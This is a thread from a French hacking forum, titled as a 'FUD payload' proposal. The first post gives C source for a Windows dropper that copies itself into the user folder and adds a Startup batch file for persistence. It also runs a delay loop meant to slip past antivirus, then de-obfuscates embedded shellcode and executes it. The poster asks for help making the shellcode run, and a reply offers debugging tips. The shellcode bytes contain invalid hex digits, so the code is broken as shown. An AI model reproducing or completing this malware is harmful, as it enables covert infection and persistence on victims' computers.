char creation_fichier_bat[500]="@echo \"C:\\Users\\%username%\\blublub.exe\" > \"C:\\Users\\%username%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\beta.bat\"";
int bypassav1=0;
int bypassav2=1;
char buf []= \
"\"\\xbf\\xc3\\x8f\\x3b\\x5b\\xdb\\xc5\\xda\\x75\\x25\\xf5\\x59\\x2c\\xca\\xb2\\x72\\x32\\x71\\x14\\x84\\xe9\\xfd\\x04\\x71\\xce\\x6d\\xcg\\x82\\x1g\\xc9\\xb4\\x66\\x42\\x38\\x6e\\xfe\\x5a\\xbd\\xd8\\xcg\\x69\\x8e\\x83\\x1f\\x29\\xf8\\xd2\\x8c\\x51\\x05\\x95\\x5f\\xca\\xae\\x1g\\x95\\xd5\\x6e\\x2e\\x49\\x75\\xa9\\x65\\x4g\\x21\\x2a\\x15\\x26\\xc2\\xdc\\xf8\\x76\\xab\\x5a\\xag\\xc4\\xc5\\x22\\x1d\\x5d\\x9a\\x33\\x06\\x47\\x0g\\x1a\\xe9\\x08\\x68\\x62\\x85\\xdc\\x67\\x7e\\x31\\xdc\\x92\\xbf\\xcb\\x1f\\x8c\\x09\\xaf\\x9a\\xa5\\xb3\\x7b\\x04\\x14\\x7g\\x95\\xf7\\x73\\xbe\\x7d\\x3d\\x64\\x52\\x3c\\x0f\\x32\\x5a\\xa8\\x07\\xd1\\x25\\x32\\x6e\\x3f\\x0c\\xec\\xd4\\x8g\\xd4\\xfd\\x48\\x2a\\xb3\\x73\\x29\\xa5\\x3c\\x03\\x37\\x2c\\x0f\\xbf\\xba\\x7f\\x9c\\x1b\\xa9\\xf7\\x1a\\x39\\x28\\x77\\x55\\xec\\x81\\x7f\\x5e\\x74\\x14\\x3d\\x96\\x94\\x31\\x9b\\x9g\\x7d\\xa7\\x4c\\x9d\\x17\\x88\\x59\\xf2\\x75\\xe5\\x4g\\x69\\xe1\\xfg\\x0d\\xf3\\xfc\\xa2\\x62\\x2f\\x6a\\x88\\x3f\\x35\\xa6\\xee\\x73\\x1c\\x24\\x43\\x89\\xcd\\x11\\xa3\\x0b\\xcg\\x0d\\x1g\\x2e\\x73\\xba\\xe3\\x69\\xe4\\x06\\x08\\xe8\\xbb\\x59\\x09\\x34\\x1b\\x46\\x31\\x96\\x6e\\x77\\x81\\x9c\\xcf\\x2g\\x7a\\x5f\\x23\\xfc\\xdf\\xbg\\x89\\xae\\x28\\x0a\\x73\\xf1\\x35\\xa6\\xaa\\xb7\\xae\\x8b\\x57\\x32\\x7c\\x3d\\xeb\\x9e\\x1e\\xaa\\xd8\\x89\\x9b\\xba\\x1e\\xf8\\x88\\x42\\xcc\\xca\\x6a\\x96\\x3b\\x55\\xaa\\xe1\\x44\\xcc\\x9g\\xa1\\x65\\x3e\\x83\\xe7\\xfa\\xdf\\xa4\\xed\\x31\\x63\\xbe\\x71\\xef\\xac\\x93\\xaf\\x28\\x1g\\xbd\\xa5\\x05\\xda\\x96\\xe7\\xd8\\xc2\\x01\\xee\\x46\\xeb\\x1b\\x22\\x79\\x2d\\xff\\x6f\\x5g\\x74\\x35\\x77\\x2a\\xaf\\x74\\xc9\\x36\\x8e\\x67\\xbb\\x6a\\x33\\x1e\\xb6\\x19\\xba\\xf3\\x93\\xag\\x1d\\x43\\x18\\x57\\x53\\x02\\x1e\\xe4\\xda\\xca\\xf6\\xcb\\xa1\\xfa\\x02\\xd5\\x82\\xf8\\x0d\\x65\\xcg\\x0c\\x3g\\x65\\x6d\\x97\\xfg\\x91\\xfg\\xad\\xa6\\x83\\xff\\x8d\\xa6\\x12\\x2d\\x8b\\xe5\\xcb\\x72\\xec\\x0g\\x84\\x34\\x5a\\xcg\\x0e\\xdd\\x38\\xb2\\x7e\\x85\\xab\\x63\\x53\\x36\\x5c\\x8c\\xcd\\x2f\\xe9\\x27\\x55\\xe6\\x1f\\x4g\\x96\\x3c\\xb6\\x31\\x3c\\x41\\xe4\\x38\\x4g\\x06\\xff\\x4a\\x19\\xa5\\x7e\\x61\\x76\\x2g\\x75\\x82\\x08\\xaa\\xbg\\xef\\x65\\xa8\\x7b\\x13\\x99\\x45\\xe7\\xe6\\xdg\\xa3\\x45\\x07\\xb8\\xdg\\xag\\x35\\xc1\\x18\\x16\\x63\\x1d\\x1a\\xa4\\xe9\\x3e\\x66\\x6e\\x2d\\x79\\xee\\xef\\x64\\x97\\x59\\x81\\x63\\xd5\\x2c\\x2c\\xac\\xf3\\x1a\\x34\\x71\\x8f\\xa5\\xff\\x4g\\x28\\x63\\x92\"";
char cle[]="e2eaaa494448b91110338c30dcf1f83517dd9c7f8d2e871b044e9df44dd8484f09451b75a9f341cc9256f987714b6d0b1eaeb8e942a33f462dcc31be1976041debb3f3c792284b26bee9eba8698764b0ed33c530afc6bc678144f80fc2b11e97e45d2b328c02afcfd29283577a883a505d60bef9e2bef8d79204596da61bcadd978a9d771b995a4903bf04d269e3c02d0eb2e7fc44956710d5aa18ceef3469e385d6a92d58922fc27621d3995a091417c4fbf4c6f0fc52ec51ca4a1bf339fdc71d4a225bbce8645ef5b50b037f5e984d05f4179fe47a28465f2467ff40752c938d5dc8de368024bbb2930e4ef721\"";
int lenshellcode=strlen(buf);
int variable12=4;
int variable15=0;
size_t n = variable12;
int (*ret)() = (int(*)())buf;




int main(int argc,char *argv[])
{

//HWND hwnd=GetForegroundWindow ();ShowWindow (hwnd,SW_HIDE);
printf("%d",lenshellcode);
strcpy(chemin_dacces_executable,argv[0]);
strcat(copie_du_exe,chemin_dacces_executable);
strcat(copie_du_exe,"\" \"C:\\Users\\%username%\"");
strcpy(variable3,"blublub.exe");
strcat(variable5,variable3);
system(copie_du_exe);
system(creation_fichier_bat);
if(strstr(argv[0],"blublub.exe") !=NULL)
{
while (bypassav2<98000)
{
bypassav2++;

bypassav1++;
}
if(bypassav1>9000)
{
while(n<lenshellcode)
{

buf[n] = cle[variable15];
n+= 4;
variable15+= 1;
}
printf(buf);
Sleep(8000);
ret();
}
}
}
(https://image.noelshack.com/minis/2019/17/6/1556323223-capture.png) (https://www.noelshack.com/2019-17-6-1556323223-capture.png)

On va s'intéresser qu'a la deuxième partie du code qui doit exécuter l'opcode car celle qui copie le .exe et crée un .bat pour la persistence fonctionne parfaitement. Ce que j'ai fait c'est que j'ai crée une variable avec les opcode et une autre avec la vraie lettre/chiffre du dernier caractère de l'opcode. Ensuite une boucle se charge de remplacer le mauvais carac par le bon. Pour vérifier ça j'ai demandé au programme de m'afficher dans la console la variable qui est censée contenir l'opcode une fois deobfusqué juste avant d'appeler la fonction qui va exécuter le shellcode et c'est bien le bon shellcode en clair qui apparaît ! A partir de là je me suis dit que c'était gagné mais non .. Toujours cette même erreur ! Donc voilà je suis perdu, si quelqu'un y comprend quelque chose et qu'il veut m'aider ou me mettre sur la piste ça serait fort sympathique parce que j'ai passé des heures à essayer de bidouiller et je ne vois pas du tout ou est mon erreur. Surtout que je ne m'y connais pas des masses en C mais à mon avis c'est une erreur toute conne que quelqu'un qui a de bonnes bases devrait repérer facilement, à mon avis c'est une couille dans les pointeurs mais je n'ai pas réussi à mettre l'oeil sur cette erreur de merde héhé. Aller bonne soirée les gars à plus ++

Titre: Re : Proposition explication payload FUD
Posté par: ZeR0-@bSoLu le 29 avril 2019 à 08:54:42
Je regarde ça entre midi et deux et je te dis :)

EDIT:  j'ai pas eu le temps de trop regarder dans les détails mais je pense que ce serait intéréssant que tu regarde le code assembleur produit par ton shellcode , tu pourra surement y trouver des erreurs plus facilements (problèmes d'architectures ou autres etc..)
Tu pourra surêment y retrouver des trucs comme ça :
(https://image.noelshack.com/minis/2019/18/1/1556533483-apr-29-12h23m49s.png) (https://www.noelshack.com/2019-18-1-1556533483-apr-29-12h23m49s.png)

EDIT2: tu peux utiliser le plugins nasm_shell fourni dans metasploit pour tester tes commandes assembleurs :)